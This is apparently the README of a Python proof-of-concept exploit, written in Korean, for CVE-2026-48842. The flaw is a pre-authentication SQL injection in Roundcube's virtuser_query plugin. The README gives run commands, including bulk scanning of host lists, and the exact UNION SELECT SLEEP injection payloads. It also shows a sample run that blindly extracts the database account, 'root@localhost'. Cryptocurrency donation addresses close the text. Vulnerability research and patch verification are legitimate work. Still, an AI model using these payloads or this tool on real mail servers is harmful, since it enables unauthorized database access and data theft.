
CVE-2026-48842에 대한 Python PoC로, Roundcube의 virtuser_query 플러그인에서 발생하는 인증 전 SQL 인젝션입니다. 시간 기반 차등 분석으로 취약점을 확인하고 DB 계정을 블라인드 리드합니다.
virtuser_query 사전 인증 SQLiRoundcube Webmail의 선택적 virtuser_query 플러그인에 존재하는 사전 인증 SQL 인젝션인 CVE-2026-48842에 대한 PoC입니다.
이 도구는 두 가지를 수행하며, 어느 것에 대해서도 추측하지 않습니다:
--dumpdbuser를 사용하여 대상에서 데이터베이스 계정을 읽어 영향을 입증합니다.각 프로브가 생성하는 정확한 SQL을 출력하므로, 실패하거나 불확실한 결과가 발견 사항으로 제시되는 일은 없습니다.
| CVE | CVE-2026-48842 |
| 유형 | CWE-89 — SQL 인젝션 |
| 구성 요소 | plugins/virtuser_query/virtuser_query.php (기본적으로 활성화되지 않음) |
| 영향 받는 버전 | Roundcube 1.6.x < 1.6.16, 1.7.x < 1.7.1 |
| 수정 버전 | 1.6.16, 1.7.1 |
requestspip install requests
python cve_2026_48842_poc.py https://mail.example.tld
python cve_2026_48842_poc.py https://mail.example.tld --dumpdbuser
python cve_2026_48842_poc.py https://mail.example.tld -d 3 --dumpdbuser
python cve_2026_48842_poc.py --list hosts.txt
python cve_2026_48842_poc.py --list hosts.txt -d 3
| 인수 | 설명 | 기본값 |
|---|---|---|
target | Roundcube 기본 URL, 예: https://mail.example.tld 또는 http://host/roundcube | — |
-l, --list FILE | 한 줄에 하나의 대상 URL이 있는 파일. #은 주석을 시작합니다. | — |
-d, --delay N | 오라클 프로브당 SLEEP 초 | 7 |
--dumpdbuser | 인젝션이 확인되면 CURRENT_USER()를 블라인드로 읽음 | off |
-h, --help | 도움말 표시 | — |
로컬 Roundcube 1.6.15에 대한 실제 실행:
[*] http://127.0.0.1/roundcube
version=1.6.15 noise_floor=0.071s _token=yes
[1] detection injected=True delta(true-false)=6.026s delta(true-baseline)=6.015s threshold=1.8s
baseline 0.083s http=401 sql_error=None
_user=poc_baseline_user_9f2a
SQL 1.6.15: SELECT host FROM virtuser WHERE user='poc_baseline_user_9f2a'
artifact_unterminated 0.09s http=401 sql_error=None
_user=a%5C
SQL 1.6.15: SELECT host FROM virtuser WHERE user='a\'
injected_true 6.098s http=401 sql_error=None
_user=%5C%27+UNION+SELECT+IF%281%3D1%2CSLEEP%283%29%2C0%29--+-
SQL 1.6.15: SELECT host FROM virtuser WHERE user='\\' UNION SELECT IF(1=1,SLEEP(3),0)-- -'
injected_false 0.072s http=401 sql_error=None
_user=%5C%27+UNION+SELECT+IF%281%3D2%2CSLEEP%283%29%2C0%29--+-
SQL 1.6.15: SELECT host FROM virtuser WHERE user='\\' UNION SELECT IF(1=2,SLEEP(3),0)-- -'
[2] blind read of the database account (~42s per byte, no quotes used)
subquery: SELECT CURRENT_USER()
length=14 bytes
[ 1/14] 'r' [ 2/14] 'ro' [ 3/14] 'roo' [ 4/14] 'root'
[ 5/14] 'root@' [ 6/14] 'root@l' [ 7/14] 'root@lo' [ 8/14] 'root@loc'
[ 9/14] 'root@loca' [ 10/14] 'root@local' [ 11/14] 'root@localh'
[ 12/14] 'root@localho' [ 13/14] 'root@localhos' [ 14/14] 'root@localhost'
[+] database account = 'root@localhost'
이 프로젝트가 도움이 되었다면, 개발을 후원하는 것을 고려해 주세요:
TDCPYioWbZW4iyMCuHhJeFsUZJ88YqZWc1

0xf6eA555f95ed5b356fF7a90E6461EbBF6ce105cE
